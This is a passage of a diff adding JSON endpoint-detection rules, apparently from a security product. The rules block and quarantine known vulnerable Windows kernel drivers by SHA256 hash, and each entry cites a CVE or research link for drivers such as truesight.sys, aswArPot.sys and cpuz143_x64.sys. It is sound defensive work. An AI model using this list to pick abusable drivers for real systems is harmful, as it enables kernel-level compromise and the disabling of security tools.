+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.822962Z",
+  "creation_date": "2026-03-23T11:45:30.822964Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.822969Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2ff73944c43821b3d13abc37245c2c8d4eadc876dead02da45ea82fdf1525973",
+  "comment": "Vulnerable Kernel Driver (aka SBIOSIO64.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "31c23698-4a97-5fd5-9c49-a8dea25e2ca1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.830018Z",
+  "creation_date": "2026-03-23T11:45:30.830020Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.830026Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d7b8383b044fac9f63b370428af5ed68d086beb5e719a4b49edf649e1851a5e8",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "31ce8641-4ae3-5589-b66b-44e87923e33d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.621212Z",
+  "creation_date": "2026-03-23T11:45:29.621214Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.621219Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e0cb07a0624ddfacaa882af49e3783ae02c9fbd0ab232541a05a95b4a8abd8ef",
+  "comment": "Logitech CoreTemp vulnerable driver (aka LgCoreTemp.sys) [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "31cec43b-640a-5965-b3de-a3e27dd53d21",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.828095Z",
+  "creation_date": "2026-03-23T11:45:31.828097Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.828102Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8dfb0deecf8d39956ecff812406e2e079802f2a2c6e853003c6d1aeed3ffbd7d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "31d07748-4b95-5d89-b86b-33b7c128d5bf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.824385Z",
+  "creation_date": "2026-03-23T11:45:30.824388Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.824393Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3629ce7fbcc691e1cf0c5e5f0bf5d964820107d7b860959b57afd17a712434c9",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "31d9e85e-6d25-50f1-a101-a21a59a090f4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.615308Z",
+  "creation_date": "2026-03-23T11:45:29.615309Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.615315Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "051dad67cc6cb6b6e20b1230b04c09cc360d106a6b7000e0991381356ace0811",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "31da887a-c015-5827-bc0d-6d5cbbfd2ba7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.473388Z",
+  "creation_date": "2026-03-23T11:45:31.473391Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.473400Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "409704c58dbfcf148730855ed3e5a179da5a9d7b5669391716d5b18996bed5d1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "31de84e3-4855-5380-b1f1-6e5c2a3cba17",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.828565Z",
+  "creation_date": "2026-03-23T11:45:31.828567Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.828572Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "548780fd48a92c2fbf94f5d8447c4d76899f9ac0fe3b2fd4b8b427635447e085",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "31f38467-db65-58a0-a9de-080846169752",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.815858Z",
+  "creation_date": "2026-03-23T11:45:30.815860Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.815866Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3f36bc2327a34da59c59e3fd4cb920a26f2db1c6a5f8eb17b00dc6e2a4ff71dc",
+  "comment": "Vulnerable Kernel Driver (aka FPCIE2COM.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "31faf7e5-7661-549b-9526-f2d749b2a9b3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.825059Z",
+  "creation_date": "2026-03-23T11:45:31.825061Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.825066Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3c579a5786dae365555d6ef083910fbfc463926e52e9f3ae7ae028d615e6cffb",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "320ae59a-5b1b-57a4-a353-cd7b7fa189ea",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.498739Z",
+  "creation_date": "2026-03-23T11:45:31.498743Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.498749Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "da969d5b6b470c7758b28c8db88d17d56d837807119b45d66c088d5698189cf4",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "320b5d99-f3e9-5e6a-869f-fe887bd7421f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.811098Z",
+  "creation_date": "2026-03-23T11:45:31.811100Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.811106Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "37744ed595d1f5c5f28e0745adabc10a93e47ca64b906dacc4be078424916eb5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "320f5bb5-1c8d-5771-907a-3e2aab4315fc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.978440Z",
+  "creation_date": "2026-03-23T11:45:29.978442Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.978448Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b9661dd0dcf81d2ee8e5eb3b728c907b4eb861806971051ad772f7fe4d09eb6a",
+  "comment": "Vulnerable Kernel Driver (aka sandra.sys) [https://www.loldrivers.io/drivers/a7628504-9e35-4e42-91f7-0c0a512549f4/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3224ad16-d7c4-5b12-84a3-3fe1c2d242b8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.814313Z",
+  "creation_date": "2026-03-23T11:45:31.814316Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.814324Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1f42044d54e2820ce7866db56f42a45635da0fc54c9456db9cbbafb308c7f9bf",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "323d34f1-9f87-55ab-9322-36298805c89b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.610917Z",
+  "creation_date": "2026-03-23T11:45:29.610919Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.610924Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "472e29b63e1d9d44269a99962b186113586fbd3603eac3a23c520c7ef73a69cf",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3244793e-fe60-5259-9a8a-09e9eef04ad7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.977150Z",
+  "creation_date": "2026-03-23T11:45:29.977153Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.977161Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1fac3fab8ea2137a7e81a26de121187bf72e7d16ffa3e9aec3886e2376d3c718",
+  "comment": "ASUS vulnerable VGA Kernel Mode Driver (aka EIO.sys) [https://www.loldrivers.io/drivers/f654ad84-c61d-477c-a0b2-d153b927dfcc/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3257f270-aab5-5d7f-8cd8-11748d7451ce",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.154390Z",
+  "creation_date": "2026-03-23T11:45:31.154393Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.154402Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c1c5f026c62d6cd2eaf8c51a73a095ed616f3e6f81ff9c638b64605ffa06aa0a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "32583d84-bde4-55de-9e6d-63bad41c5f3e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.969041Z",
+  "creation_date": "2026-03-23T11:45:29.969043Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.969048Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e2e79f1e696f27fa70d72f97e448081b1fa14d59cbb89bb4a40428534dd5c6f6",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "325848d9-4087-510c-8c6f-11a0015460e3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.141433Z",
+  "creation_date": "2026-03-23T11:45:31.141435Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.141441Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8f169884ed8138fc954cf5d098c146e1bffa89c6c2914cf3c4802ed8ccb4cc5b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "325ab51a-1c0d-55ff-a8d7-fc45d2b5ed82",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.830313Z",
+  "creation_date": "2026-03-23T11:45:30.830315Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.830321Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4d110cbdb130768e322689a1c9c54b74663d9358305ccb3760a4d27bf9b145c0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "325f410f-54ff-584d-bd11-b75a7a1a1bc5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.984087Z",
+  "creation_date": "2026-03-23T11:45:29.984089Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.984095Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9994990c02c37472625cc7b2255044feef9b73c08ca3a70c06861b7d26b27a25",
+  "comment": "Vulnerable Kernel Driver (aka VProEventMonitor.sys) [https://www.loldrivers.io/drivers/4db827b1-325b-444d-9f23-171285a4d12f/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3265ec66-f8aa-5c11-a7f8-c0f7ade87bed",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.143510Z",
+  "creation_date": "2026-03-23T11:45:31.143512Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.143518Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "648244095ea6a94a53be19cbf539948ef067ff38a99234f309b2f71a4ebcb630",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "326a8b14-0d61-5507-bd91-1aa17b33a16c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
